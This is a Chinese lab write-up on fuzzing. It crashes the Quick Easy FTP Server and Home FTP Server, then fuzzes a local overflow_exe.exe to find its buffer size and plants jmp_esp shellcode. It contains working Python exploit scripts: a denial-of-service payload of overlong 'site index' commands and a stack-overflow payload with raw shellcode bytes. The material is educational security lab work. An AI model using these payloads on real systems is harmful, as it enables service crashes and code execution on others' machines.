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漏洞挖掘与模糊测试实验.html
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漏洞挖掘与模糊测试实验
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<h1 id="实验目的"><a href="#实验目的" class="headerlink" title="实验目的"></a>实验目的</h1><ol>
<li>了解<code>fuzz</code>的基本原理；</li>
<li>通过<code>FtpFuzz</code>来<code>fuzz easy ftp server</code>的服务器，使服务器停止工作；</li>
<li>自己编写或修改<code>Python</code>脚本来自己编写<code>FTP FUZZ</code>简单工具，并用其来对<code>Home Ftp Server</code>进行<code>Fuzz</code>,使服务器停止工作，可以用<code>OllyDbg</code>附加查看异常。 <span id="more"></span></li>
</ol>
<h1 id="实验环境"><a href="#实验环境" class="headerlink" title="实验环境"></a>实验环境</h1><table>
<thead>
<tr>
<th align="center">软件</th>
<th align="center">版本</th>
</tr>
</thead>
<tbody><tr>
<td align="center">服务器端</td>
<td align="center">Win 2000</td>
</tr>
<tr>
<td align="center">客户端</td>
<td align="center">Win 2000</td>
</tr>
<tr>
<td align="center"><code>Quick Easy Ftp Server</code></td>
<td align="center">3.1 Lite</td>
</tr>
<tr>
<td align="center"><code>Infigo FTPStress Fuzzer</code></td>
<td align="center">V1.0</td>
</tr>
<tr>
<td align="center"><code>Home Ftp Server</code></td>
<td align="center">1.10.1</td>
</tr>
</tbody></table>
<h1 id="通过FtpFuzz来fuzz-easy-ftp-server的服务器，使服务器停止工作"><a href="#通过FtpFuzz来fuzz-easy-ftp-server的服务器，使服务器停止工作" class="headerlink" title="通过FtpFuzz来fuzz easy ftp server的服务器，使服务器停止工作"></a>通过<code>FtpFuzz</code>来<code>fuzz easy ftp server</code>的服务器，使服务器停止工作</h1><ol>
<li><p>使用<code>Quick’n Easy FTP server</code>搭建服务器，开放匿名用户</p>
<p><img src="https://raw.githubusercontent.com/Leeyuxun/pic-storage/main/img/1565854306571.png" alt="1565854306571"></p>
</li>
<li><p>设置<code>FTP</code>的目录</p>
<p><img src="https://raw.githubusercontent.com/Leeyuxun/pic-storage/main/img/1565854387309.png" alt="1565854387309"></p>
</li>
<li><p>开放<code>Download</code>权限，并启动服务器</p>
<p><img src="https://raw.githubusercontent.com/Leeyuxun/pic-storage/main/img/1565854408500.png" alt="1565854408500"></p>
</li>
<li><p>打开<code>ftpfuzz</code>的<code>exe</code>文件，进行服务器的<code>FUZZ</code></p>
<p><img src="https://raw.githubusercontent.com/Leeyuxun/pic-storage/main/img/1565854432527.png" alt="1565854432527"></p>
</li>
<li><p>左下角下拉框选择<code>Deselect All</code>，然后在<code>USER</code>选项和<code>PASS</code>选项中的<code>Command Argument</code>中填入<code>anonymous</code>，在LIST选项中选中<code>fuzz this ftp command</code>选项</p>
<p><img src="https://raw.githubusercontent.com/Leeyuxun/pic-storage/main/img/1565854595402.png" alt="1565854595402"></p>
<p><img src="https://raw.githubusercontent.com/Leeyuxun/pic-storage/main/img/1565854601231.png" alt="1565854601231"></p>
<p><img src="https://raw.githubusercontent.com/Leeyuxun/pic-storage/main/img/1565854607650.png" alt="1565854607650"></p>
</li>
<li><p>点击<code>config</code>菜单，在<code>Fuzzing data</code>中设定要设置的脏数据</p>
<p><img src="https://raw.githubusercontent.com/Leeyuxun/pic-storage/main/img/1565854685778.png" alt="1565854685778"></p>
</li>
<li><p>设置<code>FTP</code>主机的<code>IP</code>地址，点击<code>start</code>开始<code>fuzz</code></p>
<p><img src="https://raw.githubusercontent.com/Leeyuxun/pic-storage/main/img/1565854760808.png" alt="1565854760808"></p>
</li>
<li><p>启动<code>fuzzer</code>后可以观察到相关的信息</p>
<p><img src="https://raw.githubusercontent.com/Leeyuxun/pic-storage/main/img/1565854812857.png" alt="1565854812857"></p>
</li>
<li><p>红字的部分说明了已经<code>fuzz</code>成功，<code>FTP</code>服务器因脏数据而崩溃</p>
<p><img src="https://raw.githubusercontent.com/Leeyuxun/pic-storage/main/img/1565854830715.png" alt="1565854830715"></p>
</li>
<li><p>打开<code>FTP</code>主机的情况，发现的确崩溃，<code>fuzz</code>生效</p>
<p><img src="https://raw.githubusercontent.com/Leeyuxun/pic-storage/main/img/1565854863418.png" alt="1565854863418"></p>
</li>
</ol>
<h1 id="编写或修改Python脚本来自己编写FTP-FUZZ简单工具，并用其来对Home-Ftp-Server进行Fuzz-使服务器停止工作"><a href="#编写或修改Python脚本来自己编写FTP-FUZZ简单工具，并用其来对Home-Ftp-Server进行Fuzz-使服务器停止工作" class="headerlink" title="编写或修改Python脚本来自己编写FTP FUZZ简单工具，并用其来对Home Ftp Server进行Fuzz,使服务器停止工作"></a>编写或修改<code>Python</code>脚本来自己编写<code>FTP FUZZ</code>简单工具，并用其来对<code>Home Ftp Server</code>进行<code>Fuzz</code>,使服务器停止工作</h1><ol>
<li><p>打开<code>Home FTP Server</code>程序，点击<code>New Member</code>创建新成员，填入相关信息：<code>User name: Levi ; Password: root</code></p>
<p><img src="https://raw.githubusercontent.com/Leeyuxun/pic-storage/main/img/1565854960261.png" alt="1565854960261"></p>
</li>
<li><p>启动<code>Home FTP Server</code>，在<code>URL</code>中输入：<code>ftp://10.122.237.117/</code>，并使用用户名和密码登录后显示如下，说明服务器正常运行</p>
<p><img src="https://raw.githubusercontent.com/Leeyuxun/pic-storage/main/img/1565855030266.png" alt="1565855030266"></p>
<p><img src="https://raw.githubusercontent.com/Leeyuxun/pic-storage/main/img/1565855066435.png" alt="1565855066435"></p>
</li>
<li><p>编写<code>fuzz.py</code>文件</p>
<figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">import</span> socket,sys</span><br><span class="line"><span class="keyword">def</span> <span class="title function_">ftp</span>(<span class="params">ip,port,user,passwd</span>):</span><br><span class="line"> s=socket.socket(socket.AF_INET,socket.SOCK_STREAM) //建立socket连接</span><br><span class="line"> <span class="keyword">try</span>:</span><br><span class="line"> connect=s.connect((ip,port)) //连接主机</span><br><span class="line"> <span class="built_in">print</span> <span class="string">'[+] Connected!'</span></span><br><span class="line"> <span class="keyword">except</span>:</span><br><span class="line"> <span class="built_in">print</span> <span class="string">'[!] Connected failed!'</span></span><br><span class="line"> exit(<span class="number">0</span>)</span><br><span class="line"> <span class="built_in">print</span> s.recv(<span class="number">1024</span>)</span><br><span class="line"> s.send(<span class="string">'USER %s\r\n'</span>%user) //发送用户名</span><br><span class="line"> <span class="built_in">print</span> s.recv(<span class="number">1024</span>)</span><br><span class="line"> s.send(<span class="string">'PASS %s\r\n'</span>%passwd) //发送密码</span><br><span class="line"> <span class="built_in">print</span> s.recv(<span class="number">1024</span>)</span><br><span class="line"> <span class="built_in">print</span> <span class="string">"[+] Sending payload..."</span></span><br><span class="line"> s.send(<span class="string">'site index '</span>+<span class="string">'a'</span>*<span class="number">272</span>*<span class="number">1</span>+<span class="string">'\r\n'</span>) //发送脏数据</span><br><span class="line"> s.send(<span class="string">'site index '</span>+<span class="string">'a'</span>*<span class="number">272</span>*<span class="number">2</span>+<span class="string">'\r\n'</span>) //发送脏数据(发送一次无法实现服务器崩溃)</span><br><span class="line"> <span class="keyword">try</span>:</span><br><span class="line"> <span class="built_in">print</span> s.recv(<span class="number">1024</span>)</span><br><span class="line"> <span class="built_in">print</span> <span class="string">'failed'</span> //出现异常说明可能出现了漏洞</span><br><span class="line"> <span class="keyword">except</span>:</span><br><span class="line"> <span class="built_in">print</span> <span class="string">'succeed'</span></span><br><span class="line"> s.close()</span><br><span class="line"></span><br><span class="line"><span class="keyword">if</span> __name__ == <span class="string">'__main__'</span>:</span><br><span class="line"> ftp(<span class="string">'127.0.0.1'</span>,<span class="number">21</span>,<span class="string">'Levi'</span>,<span class="string">'root'</span>)</span><br><span class="line"></span><br></pre></td></tr></table></figure></li>
<li><p>运行<code>fuzz.py</code>脚本，查看运行结果，显示<code>failed</code>说明无法访问服务器，返回的数据是发送的脏数据</p>
<p><img src="https://raw.githubusercontent.com/Leeyuxun/pic-storage/main/img/1565855312803.png" alt="1565855312803"></p>
</li>
<li><p>查看服务器，发现服务器已经停止运行</p>
<p><img src="https://raw.githubusercontent.com/Leeyuxun/pic-storage/main/img/1565855329426.png" alt="1565855329426"></p>
</li>
<li><p>查看服务器日志，连续收到多次脏数据后直接退出</p>
<p><img src="https://raw.githubusercontent.com/Leeyuxun/pic-storage/main/img/1565855341850.png" alt="1565855341850"></p>
</li>
<li><p>将<code>HomeFtpServer.exe</code>放进<code>Ollydbg</code>中，重新执行<code>fuzz</code>程序，获得程序崩溃信息，跳转到<code>kernel32.77E99ED8</code>处时发生异常</p>
<p><img src="https://raw.githubusercontent.com/Leeyuxun/pic-storage/main/img/1565855374334.png" alt="1565855374334"></p>
</li>
</ol>
<h1 id="测试结论"><a href="#测试结论" class="headerlink" title="测试结论"></a>测试结论</h1><p> 使用现成的<code>fuzz</code>攻击程序对目标主机进行<code>fuzz</code>攻击，可以使得FTP服务器崩溃；通过编写的<code>fuzz</code>源代码，也可以通过连接目标主机并发送脏数据包实现<code>fuzz</code>攻击，达到让目标服务器崩溃的效果，通过<code>ollydbg</code>分析该过程时，只能找到程序崩溃的位置，并没有找到程序崩溃的原因，虽然理论上是重复插入了相同的数据导致<code>FTP</code>服务器异常。</p>
<h1 id="思考题"><a href="#思考题" class="headerlink" title="思考题"></a>思考题</h1><p>开发一个针对文件溢出的目标程序的<code>fuzz</code>程序，使目标程序崩溃。要求生成攻击测试文件并通过程序自动加载，并确定从哪个文件开始出现程序崩溃，给出被攻击缓冲区实际大小，并植入一个<code>shellcode</code>（功能不限）</p>
<ol>
<li><p>使用<code>IDA</code>打开程序，反汇编得到反汇编代码，分析反汇编代码，发现<code>overflow_exe.exe</code>实现的功能是读取<code>password.txt</code>中的内容，与实现设定的正确密码<code>1234567</code>进行对比，若相同则输出<code>incorrect password!</code>，不同则输出<code>Congratulation! You have passed the verification!</code></p>
<p><img src="https://raw.githubusercontent.com/Leeyuxun/pic-storage/main/img/1565855659005.png" alt="1565855659005"></p>
<p><img src="https://raw.githubusercontent.com/Leeyuxun/pic-storage/main/img/1565855664320.png" alt="1565855664320"></p>
<p><img src="https://raw.githubusercontent.com/Leeyuxun/pic-storage/main/img/1565855669129.png" alt="1565855669129"></p>
</li>
<li><p>运行程序，验证步骤一</p>
<p><img src="https://raw.githubusercontent.com/Leeyuxun/pic-storage/main/img/1565855729470.png" alt="1565855729470"></p>
<p><img src="https://raw.githubusercontent.com/Leeyuxun/pic-storage/main/img/1565855764316.png" alt="1565855764316"></p>
</li>
<li><p>编写源代码，计算缓冲区大小</p>
<figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">import</span> os</span><br><span class="line"></span><br><span class="line">rpwd = <span class="string">"Congratulation! You have passed the verification!\n"</span></span><br><span class="line">wpwd = <span class="string">"incorrect password!\n"</span></span><br><span class="line"></span><br><span class="line">i = <span class="number">1</span></span><br><span class="line"><span class="keyword">while</span> i < <span class="number">100</span>:</span><br><span class="line"> fp = <span class="built_in">open</span>(<span class="string">"password.txt"</span>,<span class="string">"w+"</span>)</span><br><span class="line"> fp.write(<span class="string">"aaaa"</span>*i*<span class="number">100</span>)</span><br><span class="line"> fp.close()</span><br><span class="line"> p = os.popen(<span class="string">"overflow_exe.exe"</span>)</span><br><span class="line"> text = p.readlines()</span><br><span class="line"> string = <span class="string">""</span>.join(text)</span><br><span class="line"> <span class="keyword">if</span> string == rpwd <span class="keyword">or</span> string == wpwd:</span><br><span class="line"> i+=<span class="number">1</span></span><br><span class="line"> <span class="keyword">else</span>:</span><br><span class="line"> <span class="keyword">break</span></span><br><span class="line"></span><br><span class="line"><span class="built_in">print</span> <span class="string">"程序运行大约%d次后崩溃!"</span>%(i*<span class="number">4</span>*<span class="number">100</span>)</span><br><span class="line"></span><br><span class="line">j = <span class="number">1</span></span><br><span class="line"><span class="keyword">while</span> j < <span class="number">100</span>:</span><br><span class="line"> fp = <span class="built_in">open</span>(<span class="string">"password.txt"</span>,<span class="string">"w+"</span>)</span><br><span class="line"> fp.write(<span class="string">"aaaa"</span>*(i-<span class="number">1</span>)*<span class="number">100</span>+<span class="string">"aaaa"</span>*j*<span class="number">10</span>)</span><br><span class="line"> fp.close()</span><br><span class="line"> p = os.popen(<span class="string">"overflow_exe.exe"</span>)</span><br><span class="line"> text = p.readlines()</span><br><span class="line"> string = <span class="string">""</span>.join(text)</span><br><span class="line"> <span class="keyword">if</span> string == rpwd <span class="keyword">or</span> string == wpwd:</span><br><span class="line"> j+=<span class="number">1</span></span><br><span class="line"> <span class="keyword">else</span>:</span><br><span class="line"> <span class="keyword">break</span></span><br><span class="line"></span><br><span class="line"><span class="built_in">print</span> <span class="string">"程序运行大约%d次后崩溃!"</span>%((i-<span class="number">1</span>)*<span class="number">4</span>*<span class="number">100</span>+j*<span class="number">4</span>*<span class="number">10</span>)</span><br><span class="line"></span><br><span class="line">t = <span class="number">1</span></span><br><span class="line"><span class="keyword">while</span> t < <span class="number">100</span>:</span><br><span class="line"> fp = <span class="built_in">open</span>(<span class="string">"password.txt"</span>,<span class="string">"w+"</span>)</span><br><span class="line"> fp.write(<span class="string">"aaaa"</span>*(i-<span class="number">1</span>)*<span class="number">100</span>+<span class="string">"aaaa"</span>*(j-<span class="number">1</span>)*<span class="number">10</span>+<span class="string">"a"</span>*t)</span><br><span class="line"> fp.close()</span><br><span class="line"> p = os.popen(<span class="string">"overflow_exe.exe"</span>)</span><br><span class="line"> text = p.readlines()</span><br><span class="line"> string = <span class="string">""</span>.join(text)</span><br><span class="line"> <span class="keyword">if</span> string == rpwd <span class="keyword">or</span> string == wpwd:</span><br><span class="line"> t+=<span class="number">1</span></span><br><span class="line"> <span class="keyword">else</span>:</span><br><span class="line"> <span class="keyword">break</span></span><br><span class="line"></span><br><span class="line"><span class="built_in">print</span> <span class="string">"程序运行%d次后崩溃!"</span>%((i-<span class="number">1</span>)*<span class="number">4</span>*<span class="number">100</span>+(j-<span class="number">1</span>)*<span class="number">4</span>*<span class="number">10</span>+t)</span><br></pre></td></tr></table></figure></li>
<li><p>运行脚本，得到缓冲区大小为<code>8197</code> </p>
<p><img src="https://raw.githubusercontent.com/Leeyuxun/pic-storage/main/img/1565856034118.png" alt="1565856034118"></p>
</li>
<li><p>构造<code>shellcode</code>，先输入<code>8200</code>个脏数据，构造<code>shellcode</code>后程序如下</p>
<figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">import</span> os</span><br><span class="line"></span><br><span class="line">rpwd = <span class="string">"Congratulation! You have passed the verification!\n"</span></span><br><span class="line">wpwd = <span class="string">"incorrect password!\n"</span></span><br><span class="line"></span><br><span class="line">i = <span class="number">1</span></span><br><span class="line"><span class="keyword">while</span> i < <span class="number">100</span>:</span><br><span class="line"> fp = <span class="built_in">open</span>(<span class="string">"password.txt"</span>,<span class="string">"w+"</span>)</span><br><span class="line"> fp.write(<span class="string">"aaaa"</span>*i*<span class="number">100</span>)</span><br><span class="line"> fp.close()</span><br><span class="line"> p = os.popen(<span class="string">"overflow_exe.exe"</span>)</span><br><span class="line"> text = p.readlines()</span><br><span class="line"> string = <span class="string">""</span>.join(text)</span><br><span class="line"> <span class="keyword">if</span> string == rpwd <span class="keyword">or</span> string == wpwd:</span><br><span class="line"> i+=<span class="number">1</span></span><br><span class="line"> <span class="keyword">else</span>:</span><br><span class="line"> <span class="keyword">break</span></span><br><span class="line"></span><br><span class="line"><span class="built_in">print</span> <span class="string">"程序运行大约%d次后崩溃!"</span>%(i*<span class="number">4</span>*<span class="number">100</span>)</span><br><span class="line"></span><br><span class="line">j = <span class="number">1</span></span><br><span class="line"><span class="keyword">while</span> j < <span class="number">100</span>:</span><br><span class="line"> fp = <span class="built_in">open</span>(<span class="string">"password.txt"</span>,<span class="string">"w+"</span>)</span><br><span class="line"> fp.write(<span class="string">"aaaa"</span>*(i-<span class="number">1</span>)*<span class="number">100</span>+<span class="string">"aaaa"</span>*j*<span class="number">10</span>)</span><br><span class="line"> fp.close()</span><br><span class="line"> p = os.popen(<span class="string">"overflow_exe.exe"</span>)</span><br><span class="line"> text = p.readlines()</span><br><span class="line"> string = <span class="string">""</span>.join(text)</span><br><span class="line"> <span class="keyword">if</span> string == rpwd <span class="keyword">or</span> string == wpwd:</span><br><span class="line"> j+=<span class="number">1</span></span><br><span class="line"> <span class="keyword">else</span>:</span><br><span class="line"> <span class="keyword">break</span></span><br><span class="line"></span><br><span class="line"><span class="built_in">print</span> <span class="string">"程序运行大约%d次后崩溃!"</span>%((i-<span class="number">1</span>)*<span class="number">4</span>*<span class="number">100</span>+j*<span class="number">4</span>*<span class="number">10</span>)</span><br><span class="line"></span><br><span class="line">t = <span class="number">1</span></span><br><span class="line"><span class="keyword">while</span> t < <span class="number">100</span>:</span><br><span class="line"> fp = <span class="built_in">open</span>(<span class="string">"password.txt"</span>,<span class="string">"w+"</span>)</span><br><span class="line"> fp.write(<span class="string">"aaaa"</span>*(i-<span class="number">1</span>)*<span class="number">100</span>+<span class="string">"aaaa"</span>*(j-<span class="number">1</span>)*<span class="number">10</span>+<span class="string">"a"</span>*t)</span><br><span class="line"> fp.close()</span><br><span class="line"> p = os.popen(<span class="string">"overflow_exe.exe"</span>)</span><br><span class="line"> text = p.readlines()</span><br><span class="line"> string = <span class="string">""</span>.join(text)</span><br><span class="line"> <span class="keyword">if</span> string == rpwd <span class="keyword">or</span> string == wpwd:</span><br><span class="line"> t+=<span class="number">1</span></span><br><span class="line"> <span class="keyword">else</span>:</span><br><span class="line"> <span class="keyword">break</span></span><br><span class="line"></span><br><span class="line"><span class="built_in">print</span> <span class="string">"程序运行%d次后崩溃!"</span>%((i-<span class="number">1</span>)*<span class="number">4</span>*<span class="number">100</span>+(j-<span class="number">1</span>)*<span class="number">4</span>*<span class="number">10</span>+t)</span><br><span class="line"></span><br><span class="line">jmp_esp = <span class="string">"\x8B\x94\xF8\x77"</span></span><br><span class="line">shellcode = <span class="string">"\x33\xDB\x53\x68\x31\x32\x33\x34\x68\x41\x42\x43\x44\x8B\xC4\x53\x50\x50\x53\xB8\x68\x3D\xE2\x77\xFF\xD0\x90\x90\x90\x90\x90\x90"</span></span><br><span class="line"></span><br><span class="line">fp = <span class="built_in">open</span>(<span class="string">"password.txt"</span>,<span class="string">"w+"</span>)</span><br><span class="line">fp.write(<span class="string">"aaaa"</span>*(i-<span class="number">1</span>)*<span class="number">100</span> + <span class="string">"aaaa"</span>*(j-<span class="number">1</span>)*<span class="number">10</span> + <span class="string">"a"</span>*t + <span class="string">"a"</span>*<span class="number">3</span> + jmp_esp + shellcode)</span><br><span class="line">fp.close()</span><br><span class="line">p = os.popen(<span class="string">"overflow_exe.exe"</span>)</span><br></pre></td></tr></table></figure></li>
<li><p>运行<code>python</code>脚本，植入<code>shellcode</code>成功</p>
<p><img src="https://raw.githubusercontent.com/Leeyuxun/pic-storage/main/img/1565856219819.png" alt="1565856219819"></p>
</li>
<li><p>最终生成的<code>password.txt</code>文件如下</p>
<p><img src="https://raw.githubusercontent.com/Leeyuxun/pic-storage/main/img/1565856255135.png" alt="1565856255135"></p>
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